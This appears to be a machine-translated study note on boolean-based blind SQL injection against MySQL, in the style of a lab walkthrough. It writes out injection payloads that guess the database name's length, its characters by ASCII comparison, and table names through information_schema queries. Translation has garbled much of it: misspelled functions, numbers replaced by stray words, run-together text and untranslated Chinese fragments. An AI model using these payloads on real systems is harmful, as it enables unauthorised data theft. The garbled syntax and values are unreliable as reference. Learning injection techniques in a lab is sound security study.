Learn notes MySQL Blinds

guess the current database name input1’ andLengthDatabase())=1#, the display does not exist;1’ andLengthDatabase())=2#, the display does not exist;1’ andLengthDatabase())=3#, the display does not exist;1’ andLengthDatabase())=4#, display exists: using dichotomy to guess database name input1’ and ASCII(Substr (Databse (),1,1))> the#, showing the first character that exists, stating the name of the databaseASCIIValue is greater than the(The lowercase letter AASCIIvalue); input1’ and ASCII(Substr (Databse (),1,1))<122#, showing the first character that exists, stating the name of the databaseASCIIValue is less than122(Small Letter Z'sASCIIvalue); input1’ and ASCII(Substr (Databse (),1,1))<109#, showing the first character that exists, stating the name of the databaseASCIIValue is less than109(Small Letter M'sASCIIvalue); input1’ and ASCII(Substr (Databse (),1,1))<103#, showing the first character that exists, stating the name of the databaseASCIIValue is less than103(Small Letter G'sASCIIvalue); input1’ and ASCII(Substr (Databse (),1,1))< -#, displays the first character that does not exist, which describes the database nameASCIIValue not less than -(The lowercase letter DASCIIvalue); input1’ and ASCII(Substr (Databse (),1,1))> -#, displays the first character that does not exist, which describes the database nameASCIIValue not greater than -(The lowercase letter DASCIIValue), so the first character of the database nameASCIIValue is -, which is the lowercase letter d. To guess the name of a table in a database1’ and(Select Count(table_name) fromInformation_schema.tableswhereTable_schema=Database())=1#显示不存在1’ and(Select Count(table_name) fromInformation_schema.tableswhereTable_schema=Database() )=2#显示存在1’ andLength (substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1))=1#显示不存在1’ andLength (substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1))=2#显示不存在...1’ andLength (substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1))=9#显示存在说明第一个表名长度为9. 1’ and ASCII(Substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1,1))> the# Show Presence1’ and ASCII(Substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1,1))<122# Show Presence1’ and ASCII(Substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1,1))<109# Show Presence1’ and ASCII(Substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1,1))<103# Display does not exist1’ and ASCII(Substr (Selecttable_name fromInformation_schema.tableswhereTable_schema=Database() limit0,1),1,1))>103# Displays the first character that does not exist stating the first name of the table is the lowercase letter g. 

Learn notes MySQL Blinds